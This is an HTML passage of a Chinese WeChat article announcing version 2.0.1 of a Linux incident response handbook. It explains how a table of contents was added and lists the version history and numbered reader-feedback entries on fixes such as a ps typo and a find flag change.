<section nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="骗子" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M000000Kk8BJ3v1oek_5.jpg" singer="文夫" count="0" is_vip="1" duration="232000" music_source="1" listenid="78249653558724495"></mp-common-clmusic></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">简介</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，《Linux 应急响应手册 v2.0.1》 发布啦！</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: bold;">下载链接在文末</span></span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><br/></span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">《Linux 应急响应手册 v2.0》 发布以后，有很多师傅集中反馈了一件事 —— 给手册加个目录</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个需求一直都有，很多师傅有这个需求是因为不了解 PDF 是有书签的，作为工具书来说，书签比目录好用的多</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019117" data-ratio="0.9388888888888889" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f1d52f34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgReJdLuuttiazompT7xvnrNkZgw1BtofNC7Gk0fbkOdQxZ4aXjfDzEQjoymaFeUY8qVn6OXyfTbfNEg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">而且兼容性最好</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但并不是所有师傅都会将手册通读一遍，所以需要一个目录来大致了解手册内容； 还有一部分师傅可能是习惯于传统书籍的阅读方式，所以喜欢目录</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但是这个事非常复杂，手册是 Markdown 通过 typora 直接转成 PDF 的，可以添加页眉、页脚，想要添加目录大概有两个途径</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">使用 Markdown 语法的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">[toc]</span></code><span leaf=""> 语法</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">使用 pandoc + LaTeX</span></section></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第一种方式生成的目录并不是书籍目录格式，是一种非常丑陋的目录，而且又臭又长，之前测试过，使用第一种方式导出，目录大概要占 30 页左右</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第二种方式生成的目录是书籍类型的目录，但是手册内容就无法使用 Typora 的主题了，也就是说除了目录，其他部分会变得非常丑陋，而且配置 Latex 好看一些对我来说并不是易事</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">因此选择了生成 PDF 之后，再搭配目录，在朋友的提醒下，使用 WPS 来完成了，WPS 超级会员才有这个功能，而且是 Windows 版本独有，之前添加封面就是用的 WPS， 不过有免费额度，没想到还是没有逃脱它的“魔爪”</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但是 WPS 生成的目录功能非常脆弱，只能在首页生成、目录文字改变字体、字号等就会乱，只能加粗，之后原本在 Typora 中完成的加页码就只能留在 WPS 中做了，不然就得分好几个 Markdown 来完成，WPS 的页码竟然不能自定义格式，也是比较丑，总之整体流程变得非常复杂，以后为了追求再美观一些，可能会更复杂</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但还是给大家做出来了一版带目录的手册，如果大家觉得目录有必要的话，请在体验后，在文末留言告诉我们，这样我们以后出的手册就都带目录</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019118" class="rich_pages wxw-img" data-ratio="0.9666666666666667" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=16fd3f51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgReJdLuuttiazompT7xvnrNkZErHjYicvwMIjpa0IkeLl0udqzPkwEmsPgROlceuYbDNjhzahI96Cpmg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">经过测试，手册的书签在 Windows、MacOS 的主流 PDF 查看软件上都兼容；目录跳转目前仅在 Windows、MacOS 的 Edge 浏览器里不支持，其他主流 PDF 查看软件都兼容</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">更新日记</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v2.0.1</span></strong><span leaf=""> - 2025.2.28</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">添加了目录</span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">去除了部分标题末尾空格</span></section></li></ul><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v2.0</span></strong><span leaf=""> - 2025.2.27</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.9</span></strong><span leaf=""> - 2024.8.1</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.8</span></strong><span leaf=""> - 2023.8.11v</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.7</span></strong><span leaf=""> - 2023.4.27</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.6</span></strong><span leaf=""> - 2023.1.6</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.5</span></strong><span leaf=""> - 2022.9.29</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.4</span></strong><span leaf=""> - 2022.4.29</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.3</span></strong><span leaf=""> - 2021.11.24</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.2</span></strong><span leaf=""> - 2021.9.10</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.1</span></strong><span leaf=""> - 2021.7.1</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">v1.0</span></strong><span leaf=""> - 2021.5.13</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">hello world</span></strong><span leaf=""> - 2020.5.3</span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">用户反馈列表</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">在反馈过程中，除了 Github 上提交的反馈，我们都会询问是否公开反馈者信息，没有取得明确回复可以公开的情况下，以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">路人甲</span></code><span leaf=""> 代表</span></p></blockquote><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">37. 小技巧章节 find 命令 -mmin 改为 -amin</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0037</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">0000</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-05 09:50</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">当面反馈</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">小技巧章节 find 命令 -mmin 改为 -amin</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-05 09:53</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">38. 完善处置前准备章节</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0038</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 10:54</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加顺便带上 《Windows 应急响应手册》</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 21:53</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">39. 修复挖矿病毒章节 ps 命令错误</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0039</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 15:26</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">挖矿病毒章节 cpu占用部分ps命令多了一个 w</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 21:55</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">40. pstree 命令查看指定pid的线程</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0040</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 16:11</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">pstree 命令后面可以加 pid ，这样就可以只看这个 pid 的线程信息</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 22:13</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">41. 安芯网盾沙箱网站已失效</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0041</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">FR33D0M</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 16:45</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">安芯网盾沙箱网址失效</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已删除</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-06 22:14</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">42. 暴力破解 -&gt; SSH 暴力破解章节文字错误【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span 